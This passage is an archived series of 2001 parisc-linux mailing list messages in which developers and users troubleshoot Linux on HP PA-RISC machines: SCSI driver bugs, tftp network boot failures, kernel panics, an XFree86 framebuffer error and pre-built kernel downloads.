X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 11:09:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B9CE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Dec 2001 11:09:57 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 16F4FB00C; Thu, 20 Dec 2001 18:08:40 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3C1D0565.3000805@hrzpub.tu-darmstadt.de>; from rscholz@hrzpub.tu-darmstadt.de on Sun, Dec 16, 2001 at 09:34:45PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13451

On Sun, Dec 16, 2001 at 09:34:45PM +0100, Rdiger Scholz wrote:
> Another problem : Using mpg321 from the 0.9.3 release gives me  the 
> failure "Illegal instruction". Glibc-Version is 2.2.4-7. The stack dump 
> is in the attached boot.log-file.

You need a rebuilt libaudiofile0 deb to fix that, should be in the
archive in a day or two, thanks to tausq.

Richard




From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Thu, 20 Dec 2001 13:42:21 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20011220204222.F357B482A@dsl2.external.hp.com>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no> <20011219113621.X1897@linuxcare.com> <1008771313.3c20a0f14484a@nyepost.start.no> <20011219165635.3E405482A@dsl2.external.hp.com> <001b01c188cb$cb1eda60$0201a8c0@andy> <squawker@start.no> <20011219204048.2140B482A@dsl2.external.hp.com> <20011219210329.E1897@linuxcare.com>  <1008842769.3c21b81172e7c@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620879 32017 80.91.229.3 (22 Nov 2014 01:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:59 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 13:42:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id F357B482A; Thu, 20 Dec 2001 13:42:21 -0700 (MST)
In-Reply-To: Message from Andy Walker <squawker@start.no> 
   of "Thu, 20 Dec 2001 11:06:09 +0100." <1008842769.3c21b81172e7c@nyepost.start.no> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13452

Andy Walker wrote:
> But if I hang an HPUX bootdisk on the card, I can boot happily from
> it. Bah!
> Do we know of anybody who has one of these cards working?

Yes. And it really shouldn't be any different than the
built-in 53c720 on other systems of the same vintage.
I can't pursue this...but getting a SCSI trace or driver
debug info would be the next step.

grant



From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Network bootproblem with 712/80
Date: Thu, 20 Dec 2001 21:10:58 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20011220231345.81C85482A@dsl2.external.hp.com>
References: <1008318270.3c19b73ecfadb@nyepost.start.no> <000b01c184a9$3f00a1b0$7862bc82@ele.vtt.fi> <20011220151554.L1897@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620879 32018 80.91.229.3 (22 Nov 2014 01:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:59 +0000 (UTC)
Cc: parisc <parisc-linux@parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>,
	Tommi Aihkisalo <tommi.aihkisalo@vtt.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 16:13:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 81C85482A
	for <parisc-linux@parisc-linux.org>; Thu, 20 Dec 2001 16:13:45 -0700 (MST)
Original-Received: (qmail 26606 invoked by uid 0); 20 Dec 2001 23:13:29 -0000
Original-Received: from pd9040221.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.33)
  by mail.gmx.net (mp012-rz3) with SMTP; 20 Dec 2001 23:13:29 -0000
X-Mailer: KMail [version 1.3.8]
In-Reply-To: <20011220151554.L1897@linuxcare.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13453

On Thursday 20 December 2001 16:15, Richard Hirst wrote:
> On Fri, Dec 14, 2001 at 04:11:37PM +0200, Tommi Aihkisalo wrote:
> > Hello all!
> >
> > I am having a problem with my 712/80 when booting with bootp/tftp. With
> > some effort I got it requesting kernel image (lifimage) over the network.
> > The download starts but almost the same time it ends and it retries it
> > over and over again. With Weird-solution's bootp and tftp server I can
> > see that the download starts many times but all of them results error.
> > When using the RedHat's bootp/tftp, the tcpdump shows (what I have
> > understood from the output) that the HP is querying a file of name '.'
> > (dot), this is quite strange...

Hi Tommi,

did you tried the newest versions of tftp-server on RH ?
AFAIR the tftp-servers in 7.0 and 7.1 were broken and I fixed them 
during my time at RedHat.

Greetings,
Helge





From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 Kernel panic while installing 0.9.3
Date: 20 Dec 2001 23:08:11 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <1008914891.2197.2.camel@beavis>
References: <5.1.0.14.0.20011217161541.026f40e0@mail.magma.ca> 
	<1008632016.10510.0.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620879 32022 80.91.229.3 (22 Nov 2014 01:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:59 +0000 (UTC)
Cc: Herb Radford <herbr@magma.ca>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 23:08:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id C960E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Dec 2001 23:08:12 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id B97A5BC96; Thu, 20 Dec 2001 23:08:11 -0700 (MST)
In-Reply-To: <1008632016.10510.0.camel@beavis>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13454

Herb,

I found the error in the 53c700 scsi driver that created the error
Thomas and I found.  I committed the fix as 2.4.16-pa23.  Can you try
out this kernel and see if this fixes your problem also?

Thanks,

- Ryan

On Mon, 2001-12-17 at 16:33, Ryan Bradetich wrote:
> Hello Herb,
> 
> Thanks to Thomas, I finally found a recipe that I can duplicate this
> error with on my C200+.  I get this exact error when reading from a tape
> drive with bs=10k.  I will track this down and get it fixed.  
> 
> Thanks for the bug report, and thanks to Thomas for the recipie :)
> 
> - Ryan
> 
> 
> On Mon, 2001-12-17 at 14:25, Herb Radford wrote:
> > I have had success and no problems installing the latest 0.9.3 on my B180L, 
> > so I had to be a glutton for punishment and tried on the C110.
> > 
> > Should not have done that. I have successfully installed the kernel and 
> > base for 0.9.3 and ftp'd vmlinux-32-2.4.16-pa16 kernel to the machine and 
> > re-booted to avoid the FWSCSI fs corruption. After that I started to 
> > install the X stuff. When I am doing an apt-get install xfonts-base (or 
> > xfonts-100dpi or xfonts-75dpi) I get a kernel panic:
> > 
> > ccio-dma.c:349: Assertion (*res_ptr & *mask_ptr) == * mask_ptr failed!
> > Kernel panic: (*res_ptr & *mask_ptr) == *mask_ptr
> > In interrupt handler - not syncing
> > 
> > I don't have the source for this and haven't yet looked at the code but I 
> > thought someone would like to know.
> > 
> > Regards, Herb
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 Kernel panic while installing 0.9.3
Date: 22 Dec 2001 17:35:51 -0700
Lines: 67
Approved: news@gmane.org
Message-ID: <1009067752.30519.4.camel@beavis>
References: <5.1.0.14.0.20011221084018.02d9a310@mail.magma.ca>
	<1008632016.10510.0.camel@beavis>
	<5.1.0.14.0.20011217161541.026f40e0@mail.magma.ca>
	<1008632016.10510.0.camel@beavis>
	<5.1.0.14.0.20011221084018.02d9a310@mail.magma.ca> 
	<5.1.0.14.0.20011222170417.0301aec0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620880 32029 80.91.229.3 (22 Nov 2014 01:48:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 22 17:35:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id F019A482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Dec 2001 17:35:53 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 055EEBC96; Sat, 22 Dec 2001 17:35:51 -0700 (MST)
In-Reply-To: <5.1.0.14.0.20011222170417.0301aec0@mail.magma.ca>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13455

Herb,

I added back in the parisc-linux list again. I know there has been some
effort to produce official debian kernel images from the CVS tree.  If
you do not want to setup a compile environment, I suspect these kernels
.debs will work for you.  

Otherwise, enjoy and report bugs back :)

Thanks,

- Ryan

On Sat, 2001-12-22 at 15:05, Herb Radford wrote:
> Ryan, that works just peachy!
> 
> Thanks for the quick reply. Now I just have to get my own compile 
> environment set up.
> 
> Regards, Herb
> 
> At 05:31 PM 12/21/01 -0700, you wrote:
> >Herb,
> >
> >I placed 2 images for you to download in the following links.  Use the
> >lifimage if you are net-booting, or use the vmlinux image if you use
> >palo on the native disk.
> >
> >Since these kernels are from my tree (which has a few minor un-committed
> >changes ... I'm working on a new SCSI interface driver), I tagged them
> >with a -rb1.
> >
> >ftp://ftp.parisc-linux.org/kernels/lifimage-2.4.16-pa24-rb1.gz
> >ftp://ftp.parisc-linux.org/kernels/vmlinux-2.4.16-pa24-rb1.gz
> >
> >Hope this helps,
> >
> >- Ryan
> >
> >
> >On Fri, 2001-12-21 at 06:43, Herb Radford wrote:
> > > At 11:08 PM 12/20/01 -0700, you wrote:
> > > >Herb,
> > > >
> > > >I found the error in the 53c700 scsi driver that created the error
> > > >Thomas and I found.  I committed the fix as 2.4.16-pa23.  Can you try
> > > >out this kernel and see if this fixes your problem also?
> > > >
> > > >Thanks,
> > > >
> > > >- Ryan
> > > Ryan, I'm in a bit of a spot as far as compiling a kernel is concerned.
> > > Could you possibly put a 2.4.16-pa23 kernel up on parisc-linux/kernels for
> > > me to try?
> > > If not, then I will attempt to get a compile environment set up but not
> > > likely before next week!
> > >
> > > Regards Herb (and Happy Holidays too!)
> > >
> > >
> 
> 
> 





From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Pre-built kernels (was Re: [parisc-linux] C110 Kernel panic while installing 0.9.3)
Date: Sat, 22 Dec 2001 18:13:00 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <m16HxCH-000OuKC@bame.riverrock.org>
References: <5.1.0.14.0.20011221084018.02d9a310@mail.magma.ca> <1008632016.10510.0.camel@beavis> <5.1.0.14.0.20011217161541.026f40e0@mail.magma.ca> <1008632016.10510.0.camel@beavis> <5.1.0.14.0.20011221084018.02d9a310@mail.magma.ca> <5.1.0.14.0.20011222170417.0301aec0@mail.magma.ca>  <1009067752.30519.4.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620880 32035 80.91.229.3 (22 Nov 2014 01:48:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:00 +0000 (UTC)
Cc: Herb Radford <herbr@magma.ca>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 22 18:13:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95AF6482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Dec 2001 18:13:02 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA04407;
	Sat, 22 Dec 2001 18:13:01 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m16HxCH-000OuKC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <rbradetich@uswest.net>; Sat, 22 Dec 2001 18:13:01 -0700 (MST) 
In-Reply-To: Your message of "22 Dec 2001 17:35:51 MST."
             <1009067752.30519.4.camel@beavis> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13456

> I added back in the parisc-linux list again. I know there has been some
> effort to produce official debian kernel images from the CVS tree.  If
> you do not want to setup a compile environment, I suspect these kernels
> .debs will work for you.  

Default-config 32 and 64-bit kernels are being built from CVS daily, see
http://ftp.parisc-linux.org/kernels/ directories 32 and 64 plus the README.
Source tarballs matching these kernels are in http://ftp.parisc-linux.org/cvs/

	-P



From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86 Question
Date: Sun, 23 Dec 2001 18:58:11 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <3C267DA3.4040504@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620880 32043 80.91.229.3 (22 Nov 2014 01:48:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 23 17:59:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cactus.bheadley.org (d147.focal4.interaccess.com [207.208.139.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1EA8482B
	for <parisc-linux@parisc-linux.org>; Sun, 23 Dec 2001 17:59:20 -0700 (MST)
Original-Received: from interaccess.com (IDENT:4NmTXND6Ne041+bY+qeEGvI3VEuhboVl@localhost.localdomain [127.0.0.1])
	by cactus.bheadley.org (8.11.6/8.11.6) with ESMTP id fBO0wBR01701
	for <parisc-linux@parisc-linux.org>; Sun, 23 Dec 2001 18:58:16 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20011221
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13457

Yay! Got my C110 up and happy on 0.93.

And now, an X question :-)

I'm getting this on startup of the X server,

	FBIOPUT_VSCREENINFO: Invalid argument

	Fatal server error:
	AddScreen/ScreenInit failed for driver 0

Any ideas? Ran the release note patch, and upgraded to 2.4.16-pa24 to no 
avail. X server is rev 4.1.0-9.0.1.


-- 
____               .:.                 ____
Bryan W. Headley - bheadley@interaccess.com




From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.16-pa24 crashes on c3k
Date: Tue, 25 Dec 2001 02:07:42 -0700 (MST)
Lines: 39
Approved: news@gmane.org
Message-ID: <20011225090742.8E013482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620880 32046 80.91.229.3 (22 Nov 2014 01:48:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 25 02:07:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8E013482B; Tue, 25 Dec 2001 02:07:42 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13458

Hi all,
I can't boot 2.4.16-pa24 on my c3k.
2.4.16-pa20 was working fine.
I'll put the defective .config, vmlinux, System.map on
ftp://gsyprf10.external.hp.com/pub/c3000/2.4.16-pa24-crash.tgz

I'm using serial console. But I can't capture output on my OB500 laptop.
It doesn't want to talk to the serial port - no input or output. 
I'm not understanding why since the same settings/cable work with
the OB600 (much older machine).  I'll try to get a full dump available
in the next couple of days one way or another. Maybe try yet another laptop.

Last couple of lines before stack trace are:

...
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
WARNING! Stack pointer and cr30 do not correspond

Dumping Stack from 12298000 to 1229c740:
...
[ does not look like a valid stack trace - data patterns don't look
like what I've seen before and too long ]

Kernel Fault: Code=26 regs=1229c740 (Addr=00000074)

GR02: 1010d51c
GR30: 1229c740
IOAQ: 1010e798
IIR 4b5300e8
CR30: 1229c000 CR31: 10318000
ORIG_R28: 10326dbf

grant



From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa24 crashes on c3k
Date: Tue, 25 Dec 2001 09:50:54 -0900 (AKST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112250945530.486-100000@goliath.alaskatech.org>
References: <20011225090742.8E013482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620881 32049 80.91.229.3 (22 Nov 2014 01:48:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:01 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 25 11:53:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FCAF482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Dec 2001 11:53:35 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GOWXT800.S9N for
          <parisc-linux@lists.parisc-linux.org>; Tue, 25 Dec 2001 09:53:32 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GOWXT801.60F; Tue, 25 Dec 2001 09:53:32 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA01209;
	Tue, 25 Dec 2001 09:50:54 -0900
In-Reply-To: <20011225090742.8E013482B@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
